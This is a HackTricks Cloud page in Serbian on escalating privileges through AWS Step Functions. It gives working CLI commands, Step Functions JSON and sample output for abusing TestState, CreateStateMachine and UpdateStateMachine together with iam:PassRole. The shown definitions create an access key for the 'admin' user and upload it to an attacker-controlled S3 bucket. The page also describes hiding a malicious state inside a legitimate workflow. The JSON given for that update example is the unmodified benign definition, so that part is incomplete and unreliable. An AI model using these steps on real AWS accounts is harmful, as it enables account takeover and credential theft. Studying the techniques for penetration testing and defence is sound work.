AWS - Step Functions Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Step Functions
Za više informacija o ovoj AWS usluzi, pogledajte:
Task resursi
Ove privilege escalation techniques zahtevaće korišćenje određenih AWS Step Function resursa kako bi se izvršile željene privilege escalation akcije.
Da biste proverili sve moguće akcije, možete otići u svoj AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na:

Ili možete otići u AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:
states:TestState & iam:PassRole
Napadač koji ima dozvole states:TestState i iam:PassRole može testirati bilo koje stanje i dodeliti mu bilo koju IAM rolu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neautorizovan pristup drugim AWS servisima sa privilegijama tih rola. U kombinaciji, ove dozvole mogu dovesti do opsežnih neautorizovanih radnji — od manipulacije workflow-ovima i izmene podataka, preko kompromitovanja podataka i manipulacije resursima, do privilege escalation.
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
U sledećim primerima prikazano je kako testirati state koji kreira access key za korisnika admin koristeći ove dozvole i permisivnu rolu u AWS okruženju. Ova permisivna rola bi trebalo da ima pridruženu neku visoko-privilegovanu politiku (na primer arn:aws:iam::aws:policy/AdministratorAccess) koja omogućava state-u da izvrši akciju iam:CreateAccessKey:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Naredba izvršena za izvođenje privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potencijalni uticaj: Neovlašćeno izvršavanje i manipulisanje workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Napadač koji ima states:CreateStateMachine i iam:PassRole može da kreira state machine i dodeli mu bilo koju IAM role, omogućavajući neovlašćen pristup drugim AWS servisima koristeći dozvole te role. Za razliku od prethodne privesc tehnike (states:TestState i iam:PassRole), ova se ne izvršava sama od sebe — takođe će vam biti potrebne dozvole states:StartExecution ili states:StartSyncExecution (states:StartSyncExecution nije dostupna za standard workflows, samo za express state machines) da biste pokrenuli izvršenje state machine.
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za korisnika admin i eksfiltrira ovaj access key u attacker-controlled S3 bucket, iskorišćavajući ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku visoko-privilegovanu politiku pridruženu (na primer arn:aws:iam::aws:policy/AdministratorAccess) koja omogućava state machine da izvrši akcije iam:CreateAccessKey i s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Komanda izvršena da bi se kreirao stroj stanja:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Komanda izvršena da pokrene izvršavanje prethodno kreiranog state machine-a:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju od računa žrtve.
Potencijalni uticaj: Neovlašćeno izvršavanje i manipulacija workflows i pristup osetljivim resursima, što može dovesti do ozbiljnih bezbednosnih povreda.
states:UpdateStateMachine & (nije uvek potrebno) iam:PassRole
Napadač sa states:UpdateStateMachine permisijom mogao bi da izmeni definiciju state machine-a, dodajući dodatne skrivenе state-ove koji bi mogli da završe u privilege escalation. Na taj način, kada legitimni korisnik pokrene izvršenje state machine-a, novi zlonamerni skriveni state će se izvršiti i privilege escalation će uspeti.
U zavisnosti od toga koliko je permissive IAM Role povezan sa state machine-om, napadač bi se suočio sa 2 situacije:
- Permissive IAM Role: Ako je IAM Role povezan sa state machine-om već permissive (na primer ima prikačenu politiku
arn:aws:iam::aws:policy/AdministratorAccess), ondaiam:PassRolepermisija ne bi bila potrebna za eskalaciju privilegija, jer ne bi bilo neophodno i menjati IAM Role — dovoljna je izmena definicije state machine-a. - Not permissive IAM Role: Za razliku od prethodnog slučaja, ovde bi napadač takođe zahtevao
iam:PassRolepermisiju, pošto bi bilo neophodno povezati permissive IAM Role sa state machine-om pored izmene definicije state machine-a.
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo poziva HelloWorld Lambda function, kako bi se dodalo dodatno stanje koje dodaje korisnika unprivilegedUser u administrator IAM Group. Na taj način, kada legitimni korisnik pokrene izvršavanje ažuriranog state machine-a, ovo novo zlonamerno prikriveno stanje biće izvršeno i eskalacija privilegija će biti uspešna.
Warning
Ako state machine nema pridruženu permisivnu IAM Role, biće takođe potrebna dozvola
iam:PassRoleda bi se ažurirala IAM Role u cilju povezivanja permisivne IAM Role (na primer ona koja ima prikačenu politikuarn:aws:iam::aws:policy/AdministratorAccess).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Komanda izvršena da ažurira legitimni state machine:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potencijalni uticaj: Neovlašćeno izvršavanje i manipulacija tokovima rada, kao i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

